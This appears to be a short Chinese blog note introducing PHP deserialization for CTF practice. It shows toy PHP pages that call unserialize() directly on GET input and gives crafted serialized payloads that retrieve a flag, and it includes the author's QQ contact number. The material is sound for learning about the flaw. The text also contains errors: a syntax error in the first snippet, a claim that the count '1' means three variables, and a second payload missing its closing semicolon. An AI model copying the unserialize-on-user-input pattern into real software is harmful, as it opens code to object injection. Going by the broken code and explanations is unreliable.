前言
php反序列化遇到好多次,总是被虐,在百度的基础上总结一波, 如果有啥不会的,或者我哪里说错了,可以加1617376586
互相学习探讨一下。
php反序列化
怎么判断是不是php反序列化那,基本上我是根据serialize(),unserialize()这两个函数来判断的。
那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。
而反序列化就是把那串可以传输的字符串再变回对象。
例子
<?php
class HELLO{
public $flag;
function FLAG(){
if($this->flag=='flag'){
echo ''flag';
}
}
if(isset($_GET["data"])){
$data=@unserialize($_GET["data"]);
@$data->FLAG();
}
}
?>
?data=O:5:"HELLO":1:{s:4:"flag";s:4:"flag";}
O代表object还有一种情况A,代表数组
5代表对象名字占5个字符
1代表对象里面有三个变量
s代表变量数据类型,s为string,i代表int
4代表变量名的字符长度
<?php
error_reporting(0);
include "flag.php";
$KEY = "Seclab507";
$str = $_GET['str'];
if (unserialize($str) === $KEY)
{
echo $flag;
}
show_source(__FILE__);
直接构造?str=s:9:"Seclab507"即可
后续更新